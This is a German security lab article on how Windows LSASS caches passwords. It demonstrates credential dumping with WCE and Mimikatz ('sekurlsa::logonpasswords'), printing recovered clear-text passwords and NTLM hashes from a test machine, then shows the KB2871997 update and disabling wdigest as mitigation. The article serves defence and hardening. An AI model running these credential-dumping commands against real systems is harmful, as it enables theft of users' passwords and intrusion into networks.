Windows Passwörter - Ein wohlbekanntes Geheimnis?

Windows Passwörter

Ein wohlbekanntes Geheimnis?

Michael Schneider
von Michael Schneider
Lesezeit: 12 Minuten

Die Wahl eines sicheren Passworts ist ein zentraler Bestandteil in der IT Security und beschäftigt Benutzer und Administratoren seit Jahren. Mit jedem Jahr steigen die Anforderungen an ein sicheres Passwort, genauso steigen auch die Fähigkeiten zum Knacken von Passwörtern – ein ewiges Wettrüsten. Nebst Anforderungen zur Länge und der Komplexität sollte ein Passwort vor allem eines sein: Geheim. Dementsprechend sollten Passwörter nicht aufgeschrieben oder im Klartext gespeichert werden. In diesem Labs-Artikel betrachten wir den Umgang von Windows mit Passwörtern.

Windows und die Zwischenspeicherung von Passwörtern

Die Local Security Authority (LSA) ist ein geschütztes Subsystem des Betriebssystems, behandelt alle Aspekte der lokalen Sicherheit des Systems (Local Security Policy) und stellt verschiedene Authentifizierungsdienste, sogenannte Security Packages, zur Verfügung. Beim Start des Betriebssystems wird der Local Security Authority Subsystem Prozess (lsass.exe) gestartet und dieser validiert Zugriffsrechte auf Objekte, überprüft die Privilegien der Benutzer und generiert sicherheitsrelevante Protokolleinträge.

Ein Benutzer meldet sich mit der Eingabe seines Benutzernamens und Passworts an und kann danach auf Dienste und Freigaben, ohne die weitere Eingabe seiner Credentials zugreifen. Dieses Konzept wird als Single-Sign On bezeichnet und unter Windows mit LSASS realisiert. LSASS unterstützt verschiedene Authentifizierungsdienste, verfügt über mehrere Security Packages, wie zum Beispiel Kerberos (kerberos.dll), NTLM (msv1_0.dll) oder Digest Authentication (wdigest.dll). Nach der Anmeldung eines Benutzers werden dessen Credentials für die Security Packages im Arbeitsspeicher des Systems abgelegt. Je nach Security Package wird das Passwort dabei als Hashwert, verschlüsselt oder gar in Klartext zwischengespeichert.

An einem Vortrag zur TechEd 2014 präsentierten die Microsoft-Mitarbeiter Nathan Ide und Mark Russinovich die folgende Übersicht zu wiederverwendbaren Credentials während einer aktuellen Session. Diese Übersicht zeigt, welche Security Packages Credentials im Arbeitsspeicher zwischenspeichern.

Übersicht zu wiederverwendbaren Credentials

Auslesen von Passwörtern

Der Zugriff auf diese Credentials wird durch den LSASS-Prozess verwaltet und es werden lokale Administratorenrechte benötigt, um mit diesem Prozess zu interagieren. Wenn nun ein Angreifer über Administratorenrechte verfügt, kann dieser auf diese Credentials und auf die Klartext-Passwörter sämtlicher angemeldeten Benutzer auf dem lokalen System zugreifen. Dazu existieren Tools, unter anderem Windows Credentials Editor von Hernan Ochoa oder Mimikatz entwickelt von Security-Researcher und Entwickler Benjamin Delpy. Beide Tools wurden auf einem Windows 7 SP1 ×64 System (kein Domänenmitglied) ausgeführt und waren in der Lage die Credentials des Benutzers admin auszulesen:

WCE vor der Installation von KB2871997:

PS C:\> .\wce.exe -w
WCE v1.42beta (X64) (Windows Credentials Editor) – © 2010-2013 Amplia Security – by Hernan Ochoa (hernan@ampliasecurity.com)
Use -h for help.

admin\W07-TEST:c8bSG3RyAEx5mS foobar\W07-TEST:P@ssw0rd

Mimikatz vor der Installation von KB2871997:

PS C:\> .\mimikatz.exe

.#####. mimikatz 2.0 alpha (x64) release “Kiwi en C” (Apr 14 2014 16:34:31) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo) ‘#####’ with 13 modules * * */

mimikatz # privilege::debug Privilege ‘20’ OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 372499 (00000000:0005af13) Session : Interactive from 0 User Name : admin Domain : W07-TEST SID : S-1-5-21-259468869-2295567178-1167388315-1000 msv : [00000003] Primary * Username : admin * Domain : W07-TEST * LM : 4223acc9b03e8b5930d8680a6e9a4ac9 * NTLM : d79f3c68f2c83654c3cf6b44f2be5cd0 * SHA1 : bf49263e220f1fce85ff2dfc2d2ef05867759beb tspkg : * Username : admin * Domain : W07-TEST * Password : c8bSG3RyAEx5mS wdigest : * Username : admin * Domain : W07-TEST * Password : c8bSG3RyAEx5mS kerberos : * Username : admin * Domain : W07-TEST * Password : c8bSG3RyAEx5mS ssp : credman :

WCE kann unter anderem Passwörter, die durch das Package Digest Authentication (wdigest) im Klartext gespeichert werden, auslesen. Mimikatz kann zusätzlich auch noch die hinterlegten Passwörter – ebenfalls im Klartext zwischengespeichert – des Package Kerberos auslesen. Die beiden Tools wurden zirka 2011 entwickelt und können seither ohne grosse Einschränkungen verwendet werden.

Reaktion von Microsoft

Zum Patchday Mai 2014 veröffentlichte Microsoft das Security Advisory 2871997. Dieses Advisory befasst sich unter anderem mit der Zwischenspeicherung von Passwörtern und führt entsprechende Gegenmassnahmen ein. So wurde LSASS als geschützter Prozess definiert. Das bedeutet, dass nur signierte Programme auf diesen Prozess zugreifen können. Ebenso wurde beim Package Kerberos die Zwischenspeicherung des Passworts im Klartext deaktiviert.

Auf dem oben genannten Windows 7 System wurde das Update KB2871997 installiert, WCE und Mimikatz nochmals ausgeführt:

WCE nach der Installation von KB2871997:

wce_after_KB2871997.png

PS C:\> .\wce.exe -w WCE v1.42beta (X64) (Windows Credentials Editor) – © 2010-2013 Amplia Security – by Hernan Ochoa (hernan@ampliasecurity.com) Use -h for help.

admin\W07-TEST:c8bSG3RyAEx5mS foobar\W07-TEST:P@ssw0rd

Mimikatz 2.0 Alpha 20140414 nach der Installation von KB2871997:

PS C:\> .\mimikatz.exe

.#####. mimikatz 2.0 alpha (x64) release “Kiwi en C” (Apr 14 2014 16:34:31) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo) ‘#####’ with 13 modules * * */

mimikatz # privilege::debug Privilege ‘20’ OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 378416 (00000000:0005c630) Session : UndefinedLogonType from 0 User Name : (null) Domain : admin SID : msv : n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTI ALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV 1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n. e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDE NTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_ MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO )n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CREDENTIALS KO)n.e. (KIWI_MSV1_0_CR

Während WCE weiterhin funktionierte, erschienen bei Mimikatz nur noch Fehler beim Zugriff auf den LSASS Prozess. Benjamin Delpy veröffentlichte noch am selben Tag wie der MS Patchday eine aktualisierte Version, und der Zugriff mit Mimikatz auf den LSASS Prozess war wieder möglich:

Mimikatz 2.0 Alpha 20140514 nach der Installation von KB2871997:

PS C:\> .\mimikatz.exe

.#####. mimikatz 2.0 alpha (x64) release “Kiwi en C” (May 14 2014 01:43:00) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo) ‘#####’ with 14 modules * * */

mimikatz # privilege::debug Privilege ‘20’ OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 378416 (00000000:0005c630) Session : Interactive from 0 User Name : admin Domain : W07-TEST SID : S-1-5-21-259468869-2295567178-1167388315-1000 msv : [00000003] Primary * Username : admin * Domain : W07-TEST * NTLM : d79f3c68f2c83654c3cf6b44f2be5cd0 * SHA1 : bf49263e220f1fce85ff2dfc2d2ef05867759beb [00010000] CredentialKeys * NTLM : d79f3c68f2c83654c3cf6b44f2be5cd0 * SHA1 : bf49263e220f1fce85ff2dfc2d2ef05867759beb tspkg : wdigest : * Username : admin * Domain : W07-TEST * Password : c8bSG3RyAEx5mS kerberos : * Username : admin * Domain : W07-TEST * Password : (null) ssp : credman :

Nach der Installation des Updates konnte beim Package Kerberos das Passwort im Klartext nicht mehr ausgelesen werden. Es erschien nur noch der Wert (null). Das Package Digest Authentication legt aber nach wie vor Passwörter im Klartext ab. Es ist somit unter Windows 7 auch nach der Installation des Updates weiterhin möglich, Passwörter im Klartext auszulesen.

Digest Authentication

Digest Authentication wurde mit Windows XP eingeführt und für die Authentifizierung mittels des Hypertext Transfer Protokolls (HTTP) sowie Simple Authentication Security Layer (SASL) entwickelt. Das Package ist bis und mit Windows 8 standardmässig aktiviert. Bei Windows 8.1 hat Microsoft das Package standardmässig deaktiviert.

Falls Digest Authentication nicht eingesetzt wird, sollte das Package wdigest aus Sicherheitsgründen deaktiviert werden. In der Registry unter HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages werden die LSA Security Packages verwaltet. Das Package Digest Authentication wird durch das Entfernen des Eintrags wdigest in der Packages List und eines anschliessenden Neustarts deaktiviert. Nach der Deaktivierung wurden WCE und Mimikatz auf dem Windows 7 System nochmals ausgeführt:

WCE nach der Deaktivierung von wdigest

Mimikatz 2.0 Alpha 20140514 nach der Deaktivierung von wdigest:

PS C:\> .\mimikatz.exe

.#####. mimikatz 2.0 alpha (x64) release “Kiwi en C” (May 14 2014 01:43:00) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ‘## v ##’ http://blog.gentilkiwi.com/mimikatz (oe.eo) ‘#####’ with 14 modules * * */

mimikatz # privilege::debug Privilege ‘20’ OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 313007 (00000000:0004c6af) Session : Interactive from 0 User Name : admin Domain : W07-TEST SID : S-1-5-21-259468869-2295567178-1167388315-1000 msv : [00000003] Primary * Username : admin * Domain : W07-TEST * NTLM : d79f3c68f2c83654c3cf6b44f2be5cd0 * SHA1 : bf49263e220f1fce85ff2dfc2d2ef05867759beb [00010000] CredentialKeys * NTLM : d79f3c68f2c83654c3cf6b44f2be5cd0 * SHA1 : bf49263e220f1fce85ff2dfc2d2ef05867759beb tspkg : kerberos : * Username : admin * Domain : W07-TEST * Password : (null) ssp : credman :

Die Ausführung von WCE bricht mit einer Fehlermeldung ab und auch Mimikatz kann das Passwort im Klartext nicht mehr auslesen.

Durch die Installation des Updates KB2871997 und der manuellen Deaktivierung des Package Windows Authentication konnte die Schwachstelle der Zwischenspeicherung von Passwörtern im Klartext unter Windows 7 erfolgreich mitigiert werden.

Über den Autor

Michael Schneider

Michael Schneider arbeitet seit dem Jahr 2000 in der IT. Im Jahr 2010 hat er sich auf die Informationssicherheit spezialisiert. Zu seinen Aufgaben gehören das Penetration Testing, Hardening und das Aufspüren von Schwachstellen in Betriebssystemen. Er ist bekannt für eine Vielzahl in PowerShell geschrieber Tools zum Finden, Ausnutzen und Beheben von Schwachstellen. (ORCID 0000-0003-0772-9761)

Links

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

×
HardeningKitty

HardeningKitty

Michael Schneider

KleptoKitty

KleptoKitty

Michael Schneider

Linux Hardening

Linux Hardening

Michael Schneider

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv